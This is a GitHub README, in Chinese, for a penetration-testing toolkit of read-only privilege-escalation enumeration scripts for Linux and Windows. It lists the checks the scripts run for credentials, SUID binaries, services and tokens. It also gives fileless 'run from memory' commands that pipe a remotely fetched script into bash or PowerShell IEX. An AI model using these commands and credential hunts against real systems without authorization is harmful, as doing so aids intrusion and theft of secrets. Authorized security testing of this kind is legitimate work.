ahmetartuc/elevate-kit
GitHub: ahmetartuc/elevate-kit
面向 Linux 和 Windows 的本地权限提升枚举工具包,以只读方式快速发现系统配置缺陷和潜在提权路径。
Stars: 0 | Forks: 0
# elevate-kit
适用于 Linux 和 Windows 的本地权限提升枚举脚本。
这两款工具的前提是你已经在目标主机上获得了初始立足点(一个 shell / 会话),并且需要找到从当前用户提升至 root / SYSTEM 的路径。它们是只读的:
仅进行枚举和报告,不会修改系统或运行漏洞利用程序。代表真实提权向量的发现结果将以红色打印;经过检查且安全的项目将以绿色打印。
## 免责声明
仅限在你自己拥有或获得明确授权进行测试的系统中使用。未经许可对这些系统运行这些脚本可能是违法的。你对如何使用它们自行负责。
## 输出图例
这两个脚本共享相同的严重性标记:
| 标记 | 颜色 | 含义 |
|------------|--------|------------------------------------------------------|
| `[CRIT]` | 红色 | 直接或极可能的权限提升向量 |
| `[!]` | 黄色 | 值得手动审查;具有潜在可能,但未经证实 |
| `[+]` | 绿色 | 已检查且安全 —— 此处无法提权 |
颜色默认开启,当输出目标不是终端时会自动禁用。使用 `--no-color` / `-NoColor` 可强制关闭颜色(例如在通过管道输出到文件时)。
## Linux — linenum.sh
### 环境要求
Bash 和标准的 coreutils。可选工具(`getcap`、`ss`、`ip`、`docker`、`kubectl`、`curl`/`wget`)在存在时会被调用,不存在时则跳过。无需安装,无需拉取任何依赖。
### 用法
```
chmod +x linenum.sh
./linenum.sh # full scan, color output, report saved to ./linenum_/
./linenum.sh --quick # skip slow filesystem-wide find searches
./linenum.sh --thorough # deeper credential grep across /srv /usr/local /home
./linenum.sh -o report.txt # also save a color-stripped copy to report.txt
./linenum.sh --no-color # disable ANSI color
./linenum.sh --help
```
| 选项 | 描述 |
|-------------------|-------------------------------------------------------------------|
| `-q`, `--quick` | 跳过耗时的根文件系统搜索(SUID、全局可写文件、凭据) |
| `-t`, `--thorough`| 将凭据 grep 扩大搜索至更多路径 |
| `-o`, `--out FILE`| 将去除了颜色代码的完整输出发送到 `FILE` |
| `--no-color` | 禁用颜色 |
| `-h`, `--help` | 显示帮助 |
当以 root 身份运行时,可写文件检查会自动跳过(因为对 root 而言所有路径看起来都是可写的,所以结果将毫无意义)。请以你尝试利用其进行提权的低权限用户身份运行。
### 从内存中运行
如果你无法或不想将文件写入磁盘:
```
curl -s http:///linenum.sh | bash
# 或
wget -qO- http:///linenum.sh | bash
```
### 检查内容
- 系统信息:内核、架构、发行版、shell、完整的 `PATH`
- 内核漏洞利用建议:版本匹配的候选项(DirtyCow、DirtyPipe、nf_tables、PwnKit、Sudo Baron Samedit、glibc Looney Tunables、OverlayFS GameOver(lay))以及对应的 CVE —— 属于启发式分析,需进一步验证
- 内核强化:stack protector、KASLR、strict RWX、`ptrace_scope`、运行时 ASLR
- 用户和 sudo:UID 0 账户、危险的组成员身份(docker、lxd、disk、shadow、adm、sudo、wheel)、`sudo -l`、可读的 sudoers、`/etc/passwd` 中的内联密码哈希、已登录用户
- 环境变量,包括意外导出的机密信息
- 已安装的编程语言和实用程序
- SUID / SGID 二进制文件,并为可利用的文件提供 GTFOBins 的 shell-escape 单行命令
- 文件 capabilities(`getcap`):`cap_setuid`、`cap_dac_read_search`、`cap_sys_admin` 等
- 可写的敏感文件(直接提权面):`/etc/passwd`、`/etc/shadow`、`/etc/group`、sudoers、`ld.so.preload` / `ld.so.conf.d`、`rc.local`、`init.d`、`profile.d`、cron 目录、systemd unit 及其 `ExecStart` 二进制文件、`update-motd.d` 以及可写的 `core_pattern`
- 全局可写文件和目录
- SSH:`sshd_config` 暴露情况、可读的私钥 / `authorized_keys`、`/tmp` 中的 agent socket、shell 历史记录和 rc 文件(`.netrc`、`.git-credentials`)中的凭据匹配项
- 在配置文件中搜寻凭据,以及高价值的 key/token 特征(AWS、Google、Slack、GitHub、私钥头部、JWT)和数据库连接字符串
- 备份、临时文件和版本控制文件
- Cron 任务、systemd timer、可写的 cron 脚本和 unit
- 网络:接口、路由、监听端口、仅限 loopback 的服务、ARP、DNS、iptables
- NFS 导出和 `no_root_squash`
- 挂载点、`fstab`、块设备、已加载的内核模块
- 容器:Docker / LXD 组滥用、可写的 `docker.sock`、容器检测
- 云元数据(IMDS)和磁盘上的云凭据
- Kubernetes service-account token 和路径
- 以 root 身份运行的进程、进程参数中的机密信息、脱离的 screen/tmux 会话
### 输出
摘要会打印到终端上。一份去除颜色的完整日志将写入带有时间戳的目录(`linenum_<日期>/`),其中还包含较大规模检查项(SUID/SGID、全局可写文件、候选凭据文件)的原始列表,方便你事后使用 grep 进行筛选。
## Windows — winenum.ps1
### 环境要求
Windows PowerShell 2.0 或更高版本。以普通用户权限运行;无需安装任何模块。
### 用法
```
powershell -ExecutionPolicy Bypass -File .\winenum.ps1
.\winenum.ps1 -Quick
.\winenum.ps1 -Out report.txt
.\winenum.ps1 -NoColor
```
在内存中运行,不写入磁盘:
```
IEX (New-Object Net.WebClient).DownloadString('http:///winenum.ps1')
```
| 选项 | 描述 |
|--------------|------------------------------------------------------|
| `-Quick` | 跳过耗时的文件系统和注册表扫描 |
| `-Out FILE` | 将输出发送到 `FILE` |
| `-NoColor` | 禁用颜色 |
| `-Help` | 显示帮助 |
### 检查内容
- 系统信息:OS 版本、架构、已安装的补丁和缺失的更新
- Token privileges(`whoami /priv`):`SeImpersonatePrivilege`、`SeAssignPrimaryToken`、`SeBackupPrivilege`、`SeRestorePrivilege`、`SeDebugPrivilege` 以及各项可利用的技术
- 用户、组和本地管理员
- `AlwaysInstallElevated` 策略(用户和计算机)
- 未加引号的服务路径
- 权限薄弱的服务和可写的服务二进制文件
- `%PATH%` 中的可写目录和 DLL 劫持候选项
- 计划任务及其运行身份上下文
- Autorun 条目和启动位置
- 存储的凭据:凭据管理器、`cmdkey`、自动登录注册表键值、已保存的 Wi-Fi 密钥、无人参与安装文件、PowerShell 历史记录
- 可读的 `SAM` / `SYSTEM` / `SECURITY` 配置单元副本和卷影副本
- UAC 配置和完整性级别
- 已安装的软件和正在运行的进程
- 杀毒软件和防火墙状态
### 输出
与 Linux 工具相同:带有严重性标记的发现结果会输出到控制台,并可通过 `-Out` 选择性地保存副本。
## 注意事项
- 将 SUID/SGID 和 capabilities 输出结果与 [GTFOBins](https://gtfobins.github.io) 结合使用,将标记出的二进制文件转化为 shell。
- 对于静态扫描无法捕获的短暂运行的 root 进程和 cron 任务,可配合运行 [pspy](https://github.com/DominicBreuker/pspy)。
- `[!]` 项目并不代表失败 —— 它们是脚本无法替你判定且依赖于具体上下文的内容。
## 许可证
MIT。无任何担保。使用风险自负。
标签:AI合规, Web报告查看器, 协议分析, 应用安全, 插件系统, 无线安全, 权限提升